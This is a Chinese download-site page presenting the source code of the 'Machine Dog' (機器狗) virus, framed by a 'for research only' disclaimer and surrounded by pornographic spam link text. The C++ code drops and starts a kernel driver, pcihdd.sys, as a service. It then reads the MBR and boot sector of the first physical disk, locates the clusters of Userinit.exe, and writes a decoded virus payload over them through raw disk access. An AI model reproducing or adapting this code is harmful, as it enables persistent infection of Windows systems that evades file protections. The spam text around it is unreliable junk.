亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 機(jī)器狗原代碼.txt

?? 機(jī)器狗原代碼 僅供研究,誤用于其他途徑
?? TXT
字號:
// Test.cpp : 定義控制臺應(yīng)用程序的入口點(diǎn)。
//
#include "stdafx.h"

//==============================================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
   UCHAR active;                 // 能否啟動標(biāo)志
   UCHAR StartHead;               // 該分區(qū)起始磁頭號
   UCHAR StartSector;             // 起始柱面號高2位:6位起始扇區(qū)號
   UCHAR StartCylinder;           // 起始柱面號低8位
   UCHAR PartitionType;           // 分區(qū)類型
   UCHAR EndHead;                 // 該分區(qū)終止磁頭號
   UCHAR EndSector;               // 終止柱面號高2位:6位終止扇區(qū)號
   UCHAR EndCylinder;             // 終止柱面號低8位
   ULONG StartLBA;               // 起始扇區(qū)號
   ULONG TotalSector;             // 分區(qū)尺寸(總扇區(qū)數(shù))
} PARTITION_ENTRY, *PPARTITION_ENTRY;

//==============================================================================
typedef struct _MBR_SECTOR
{
   UCHAR             BootCode[446];
   PARTITION_ENTRY   Partition[4];
   USHORT           Signature;
} MBR_SECTOR, *PMBR_SECTOR;

//==============================================================================
typedef struct _BBR_SECTOR
{
   USHORT JmpCode;               // 2字節(jié)跳轉(zhuǎn)指令,跳轉(zhuǎn)到引導(dǎo)代碼
   UCHAR   NopCode;               // 1字節(jié)nop指令,填充用,保證跳轉(zhuǎn)指令長3個字節(jié)
   UCHAR   OEMName[8];             // 8字節(jié)的OEMName

   // 下面開始為: BPB( BIOS Parameter Block )

   USHORT BytesPerSector;         // 每個扇區(qū)的字節(jié)數(shù) (512 1024 2048 4096)
   UCHAR   SectorsPerCluster;     // 每個簇的扇區(qū)數(shù) ( 1 2 4 8 16 32 64 128 )兩者相乘不能超過32K(簇最大大小)
   USHORT ReservedSectors;       // 從卷的第一個扇區(qū)開始的保留扇區(qū)數(shù)目,該值不能為0,對于FAT12/FAT16,該值通常為1,對于FAT32,典型值為32
   UCHAR   NumberOfFATs;           // 卷上FAT數(shù)據(jù)結(jié)構(gòu)的數(shù)目,該值通常應(yīng)為2,[NTFS不使用NumberOfFATs字段,必須為0]
   USHORT RootEntries;           // 對于FAT12/FAT16,該值表示32字節(jié)目錄項(xiàng)的數(shù)目,對于FAT32,該值必須為0;[NTFS不使用]
   USHORT NumberOfSectors16;     // 該卷上的扇區(qū)總數(shù),該字段可以為0,如果該字段為0,則NumberOfSectors32不能為0;對于FAT32,該字段必須為0 [FAT32/NTFS不使用該字段]
   UCHAR   MediaDescriptor;       // 介質(zhì)類型
   USHORT SectorsPerFAT16;       // 該字段標(biāo)識一個FAT結(jié)構(gòu)占有的扇區(qū)數(shù)(FAT12/FAT16),對于FAT32卷,該字段必須為0;[FAT32/NTFS不使用該字段]
   USHORT SectorsPerTrack;       // 用于INT 0x13中斷的每個磁道的扇區(qū)數(shù)
   USHORT HeadsPerCylinder;       // 用于INT 0x13中斷的每個柱面的磁頭數(shù)
   ULONG   HiddenSectors;         // 包含該FAT卷的分區(qū)之前的隱藏扇區(qū)數(shù)
   ULONG   NumberOfSectors32;     // 該字段包含該卷上的所有扇區(qū)數(shù)目,對于FAT32,該字段不為0;FAT12/FAT16可根據(jù)實(shí)際大小是否超過65536個扇區(qū)數(shù)決定是否采用該字段; [NTFS不使用該字段]

   // 下面開始為: EBPB ( Extended BIOS Parameter Block )

   ULONG   SectorsPerFAT32;       // 對于FAT32,該字段包含一個FAT的大小,而SectorsPerFAT16字段必須為0;
} BBR_SECTOR, *PBBR_SECTOR;

#include <poppack.h>

#define PARTITION_TYPE_NTFS         0x07
#define PARTITION_TYPE_FAT32         0x0B
#define PARTITION_TYPE_FAT32_LBA     0x0C

//==============================================================================
#define STR_SYSFILE_PATH             TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH             TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME           TEXT("\\\\.\\PhysicalDrive0")
#define STR_HDDDEVICE_NAME           TEXT("\\\\.\\PhysicalHardDisk0")

//==============================================================================
#define IOCTL_MYDEV_BASE                 0xF000
#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

//==============================================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
   TCHAR           filePath[MAX_PATH];
   HANDLE           fileHandle;
   HRSRC           hSysRes;
   DWORD           dwWritten;
   DWORD           dwSysLen;
   PVOID           lpSysBuf;
   SC_HANDLE       hSCManager;
   SC_HANDLE       hService;
   SERVICE_STATUS   sService;
   DWORD           errCode = ERROR_SUCCESS;
   if(
     (NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
     ||
     (0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
     ||
     (NULL == (lpSysBuf = LockResource(hSysRes)))
     ||
     (0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
     ||
     (INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
     )
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   if(
     !WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
     ||
     !SetEndOfFile(fileHandle)
     ||
     !FlushFileBuffers(fileHandle)
     )
   {
     errCode = GetLastError();
   }
   CloseHandle(fileHandle);
   if(ERROR_SUCCESS != errCode)
   {
     goto FunExit01;
   }
   if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   hService = CreateService(
     hSCManager,
     TEXT("PciHdd"),
     TEXT("PciHdd"),
     SERVICE_ALL_ACCESS,
     SERVICE_KERNEL_DRIVER,
     SERVICE_DEMAND_START,
     SERVICE_ERROR_IGNORE,
     filePath,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL
     );
   if(NULL != hService)
   {
     CloseServiceHandle(hService);
   }
   else
   {
     if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
     {
       ControlService(hService, SERVICE_CONTROL_STOP, &sService);
       DeleteService(hService);
       CloseServiceHandle(hService);
     }
     hService = CreateService(
       hSCManager,
       TEXT("PciHdd"),
       TEXT("PciHdd"),
       SERVICE_ALL_ACCESS,
       SERVICE_KERNEL_DRIVER,
       SERVICE_DEMAND_START,
       SERVICE_ERROR_IGNORE,
       filePath,
       NULL,
       NULL,
       NULL,
       NULL,
       NULL
       );
     if(NULL != hService)
     {
       CloseServiceHandle(hService);
     }
     else
     {
       errCode = GetLastError();
       goto FunExit02;
     }
   }
   if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   StartService(hService, 0, NULL);
   CloseServiceHandle(hService);
FunExit02:
   CloseServiceHandle(hSCManager);
FunExit01:
   DeleteFile(filePath);
FunExit00:
   return errCode;
}

//==============================================================================
DWORD StopAndDeleteDriver(VOID)
{
   TCHAR           filePath[MAX_PATH];
   SC_HANDLE       hSCManager;
   SC_HANDLE       hService;
   SERVICE_STATUS   sService;
   DWORD           errCode = ERROR_SUCCESS;
   if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   ControlService(hService, SERVICE_CONTROL_STOP, &sService);
   DeleteService(hService);
   CloseServiceHandle(hService);
FunExit01:
   CloseServiceHandle(hSCManager);
FunExit00:
   ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
   DeleteFile(filePath);
   return errCode;
}

//==============================================================================
// 感染硬盤第一個分區(qū)的指定的文件
// 
// 1)通過FSCTL_GET_RETRIEVAL_POINTERS獲取文件數(shù)據(jù)的分布 信息
// 
// 2)通過直接訪問硬盤(\\\\.\\PhysicalHardDisk0)的的MDR和第一個分區(qū)的引導(dǎo)扇區(qū)得到分區(qū)參數(shù)來定位文件。
// 
// 3)通過對比ReadFile讀取的文件數(shù)據(jù)和自己定位后直接 讀取所得到的文件數(shù)據(jù),確定定位是否正確
// 
// 入口參數(shù):
// 要感染的文件名(完整路徑)
// 
// Return value:
// Success -> NULL
// Failed   -> 指向出錯信息的指針
//==============================================================================
DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
   STARTING_VCN_INPUT_BUFFER   iVcnBuf;
   UCHAR                       oVcnBuf[272];
   PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
   DWORD                       dwVcnExtents;
   LARGE_INTEGER               startLcn;
   PUCHAR                     lpClusterBuf;
   DWORD                       dwClusterLen;
   UCHAR                       dataBuf[512];
   UCHAR                       diskBuf[512];
   DWORD                       dataLen;
   LARGE_INTEGER               diskPos;
   PPARTITION_ENTRY           lpPartition;
   ULONG                       dwPartitionStart;
   ULONG                       dwPartitionType;
   PBBR_SECTOR                 lpBootSector;
   DWORD                       SectorsPerCluster;
   HANDLE                     hHddDevice;
   HANDLE                     hDskDevice;
   HANDLE                     hVirusFile;
   DWORD                       errCode = ERROR_SUCCESS;
   if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
   {
     errCode = GetLastError();
     goto FunExit00;
   }
   // 
   if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
   {
     errCode = GetLastError();
     goto FunExit01;
   }
   iVcnBuf.StartingVcn.QuadPart = 0;
   RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
   if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
   dwVcnExtents = lpVcnBuf->ExtentCount;
   startLcn     = lpVcnBuf->Extents[0].Lcn;
   if(!dwVcnExtents)
   {
     errCode = (ULONG)(-3); // 文件太小, 不能操作
     goto FunExit02;
   }
   if(startLcn.QuadPart == -1)
   {
     errCode = (ULONG)(-4); // 該文件是壓縮文件, 不能操作
     goto FunExit02;
   }
   ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
   // 打開第一個物理硬盤
   if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
   {
     errCode = GetLastError();
     goto FunExit02;
   }
   // 讀取硬盤第一個扇區(qū)(MBR)
   SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
   if(lpPartition[0].active != 0x80)
   {
     errCode = (ULONG)(-1); // 分區(qū)不是啟動分區(qū)
     goto FunExit03;
   }
   dwPartitionType = lpPartition[0].PartitionType;
   if(
     dwPartitionType != PARTITION_TYPE_FAT32
     &&
     dwPartitionType != PARTITION_TYPE_FAT32_LBA
     &&
     dwPartitionType != PARTITION_TYPE_NTFS
     )
   {
     errCode = (ULONG)(-2); // 不支持的磁盤分區(qū)
     goto FunExit03;
   }
   dwPartitionStart = lpPartition[0].StartLBA;
   diskPos.QuadPart = dwPartitionStart * 512;
   // 讀取啟動分區(qū)的第一個扇區(qū)(啟動扇區(qū))
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   lpBootSector = (PBBR_SECTOR)&diskBuf[0];
   SectorsPerCluster = lpBootSector->SectorsPerCluster;
   // 根據(jù)FAT32/NTFS計(jì)算Userinit的起始簇的偏移量
   diskPos.QuadPart = dwPartitionStart;
   diskPos.QuadPart+= lpBootSector->ReservedSectors;
   if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
   {
     diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
   }
   diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
   diskPos.QuadPart*= 512;
   // 檢查文件尋址
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
   if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
   {
     errCode = (ULONG)(-5); // 尋址文件不成功
     goto FunExit03;
   }
   // 分配緩沖
   dwClusterLen = SectorsPerCluster*512;
   lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一個簇所要的緩沖
   if(!lpClusterBuf)
   {
     errCode = GetLastError(); // 尋址文件不成功
     goto FunExit03;
   }
   // 把Virus文件的數(shù)據(jù)從SYS文件資源段中解碼出來
   if(!DeviceIoControl(
     hVirusFile,
     IOCTL_MYDEV_Fun_0xF01,
     (PVOID)0x00401000,         // 本執(zhí)行文件代碼段的開始, 在C語言中我不會表達(dá)
     0x73E,                     // 本執(zhí)行文件代碼段的長度, 在C語言中我不會表達(dá)
     lpClusterBuf,
     dwClusterLen,
     &dataLen,
     NULL
     ))
   {
     errCode = GetLastError();
     goto FunExit04;
   }
   // 寫Virus文件的數(shù)據(jù)到磁盤
   SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
   WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
   FlushFileBuffers(hDskDevice);
   errCode = ERROR_SUCCESS;
FunExit04:
   GlobalFree(lpClusterBuf);
FunExit03:
   CloseHandle(hDskDevice);
FunExit02:
   CloseHandle(hVirusFile);
FunExit01:
   CloseHandle(hHddDevice);
FunExit00:
   return errCode;
}

//==============================================================================
int _tmain(int argc, _TCHAR* argv[])
{
   TCHAR           filePath[MAX_PATH];
   DWORD           errCode;
   if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))
   {
     MessageBox(NULL, TEXT("驅(qū)動程序的加載沒有成功,程序?qū)o法運(yùn)行"), NULL, MB_ICONERROR);
     goto FunExit00;
   }
   ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
   WriteVirusToDisk(filePath);
   StopAndDeleteDriver();
FunExit00:
return 0;
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一本色道a无线码一区v| 欧美日韩国产不卡| 午夜精品免费在线| 日本一区二区免费在线观看视频| 91麻豆精东视频| 狠狠色丁香婷婷综合| 亚洲女与黑人做爰| 久久久国产综合精品女国产盗摄| 欧美日韩情趣电影| 91免费国产在线| 国产老肥熟一区二区三区| 天堂蜜桃一区二区三区| 亚洲情趣在线观看| 国产欧美日韩在线| 欧美精品一区二区三区一线天视频| 欧美色男人天堂| 91天堂素人约啪| av影院午夜一区| 国产成a人亚洲精品| 捆绑变态av一区二区三区| 亚洲成人av电影| 亚洲国产日韩精品| 亚洲欧洲综合另类| 国产精品国产馆在线真实露脸| 精品国产乱码久久久久久老虎| 欧美美女直播网站| 欧美视频精品在线| 欧美三级韩国三级日本三斤| 91美女视频网站| 99久久99精品久久久久久| 成人丝袜高跟foot| 99视频一区二区| 成人av手机在线观看| 国产suv精品一区二区三区| 国产精品综合二区| 国产一区二区三区在线观看免费| 精品无人码麻豆乱码1区2区| 男人的天堂亚洲一区| 免费在线观看一区二区三区| 视频一区视频二区中文字幕| 天天av天天翘天天综合网| 亚洲福利电影网| 亚洲h动漫在线| 秋霞午夜鲁丝一区二区老狼| 五月天网站亚洲| 免费高清成人在线| 久久超级碰视频| 国产一区二区在线影院| 国产宾馆实践打屁股91| eeuss鲁片一区二区三区在线看| 成人自拍视频在线观看| 成人动漫av在线| 色妹子一区二区| 欧美精品少妇一区二区三区| 制服丝袜亚洲网站| 精品国产一区二区三区四区四 | 久久蜜臀中文字幕| www国产亚洲精品久久麻豆| 亚洲国产精品二十页| 中文字幕在线一区免费| 一区二区三区在线观看欧美| 亚洲成人在线网站| 精品一区二区三区的国产在线播放| 国产一区二区三区蝌蚪| 99re8在线精品视频免费播放| 欧洲精品视频在线观看| 欧美一级一区二区| 国产夜色精品一区二区av| 亚洲欧洲在线观看av| 亚洲综合色噜噜狠狠| 美女任你摸久久| 国产xxx精品视频大全| 欧洲一区在线电影| 精品国一区二区三区| 亚洲国产精品99久久久久久久久| 亚洲精品日韩一| 久久99国产精品尤物| 99久久国产综合精品女不卡| 欧美一二三四在线| 国产精品不卡一区| 日韩精品乱码av一区二区| 丁香激情综合国产| 69堂成人精品免费视频| 中文字幕的久久| 丝袜诱惑制服诱惑色一区在线观看 | 亚洲视频狠狠干| 日韩精品乱码av一区二区| 成人午夜免费视频| 欧美一区二区在线视频| 中文字幕亚洲一区二区va在线| 午夜精品一区二区三区免费视频 | 日本乱人伦aⅴ精品| 欧美成人伊人久久综合网| 亚洲婷婷国产精品电影人久久| 视频一区视频二区在线观看| 99视频一区二区三区| 欧美v日韩v国产v| 亚洲国产精品一区二区www| 九九在线精品视频| 在线视频欧美区| 欧美极品xxx| 久久99精品久久久久| 欧美色网一区二区| 中文字幕一区二| 国产精品99久久久久久久vr | 国产伦精一区二区三区| 欧美日韩一区二区电影| 欧美极品少妇xxxxⅹ高跟鞋| 免费精品视频在线| 欧美曰成人黄网| 国产精品免费免费| 激情综合网av| 日韩一区二区三区在线观看| 夜色激情一区二区| 99久久免费精品| 国产精品色呦呦| 国产高清久久久| 精品国精品国产| 奇米精品一区二区三区四区| 欧美精品自拍偷拍| 亚洲va韩国va欧美va精品| 91久久人澡人人添人人爽欧美| 国产精品看片你懂得| 国产成人精品免费一区二区| 欧美不卡一区二区| 另类小说综合欧美亚洲| 日韩欧美另类在线| 日韩高清国产一区在线| 91精品国产品国语在线不卡| 亚洲一区影音先锋| 欧美日韩性生活| 无码av中文一区二区三区桃花岛| 在线观看一区日韩| 亚洲午夜久久久久中文字幕久| 91福利视频在线| 亚洲乱码日产精品bd| 一本高清dvd不卡在线观看 | 久久精品国产77777蜜臀| 91精品国产综合久久久久久久| 午夜欧美一区二区三区在线播放| 欧美婷婷六月丁香综合色| 图片区小说区国产精品视频| 欧美精品国产精品| 美女免费视频一区二区| 精品国产网站在线观看| 国产精品1024| 成人免费在线视频| 91福利视频在线| 亚洲第一综合色| 日韩一区二区精品| 国产一区二区三区国产| 中文成人综合网| 91久久精品国产91性色tv| 天天综合天天综合色| 日韩免费视频一区二区| 国精产品一区一区三区mba桃花| 久久久欧美精品sm网站| av在线综合网| 亚洲福利视频三区| 26uuu亚洲综合色| 不卡大黄网站免费看| 亚洲一区二区三区在线| 91精品国产福利| 风流少妇一区二区| 亚洲精品视频在线观看网站| 91精品国产综合久久精品app | 成人高清视频在线| 亚洲综合网站在线观看| 日韩精品一区二区三区四区视频| 国产精品一区专区| 亚洲综合色区另类av| 欧美成人精品1314www| 成人污污视频在线观看| 亚洲一区二区三区在线播放| 欧美精品一区男女天堂| 91免费视频观看| 精品一区二区三区欧美| 日韩一区欧美小说| 日韩片之四级片| 91视频精品在这里| 日日夜夜一区二区| 亚洲国产成人私人影院tom| 欧美色国产精品| 成人免费av资源| 日韩二区在线观看| 亚洲欧美另类小说| www久久久久| 欧美理论在线播放| av激情综合网| 国产在线精品一区二区| 亚洲午夜私人影院| 国产精品久久久久久久久久久免费看| 欧美日韩国产大片| 99精品国产91久久久久久| 蜜臀va亚洲va欧美va天堂| 亚洲欧美日韩国产综合在线| 久久久久久**毛片大全| 日韩一卡二卡三卡国产欧美| 日本道免费精品一区二区三区| 国产成人亚洲综合a∨婷婷|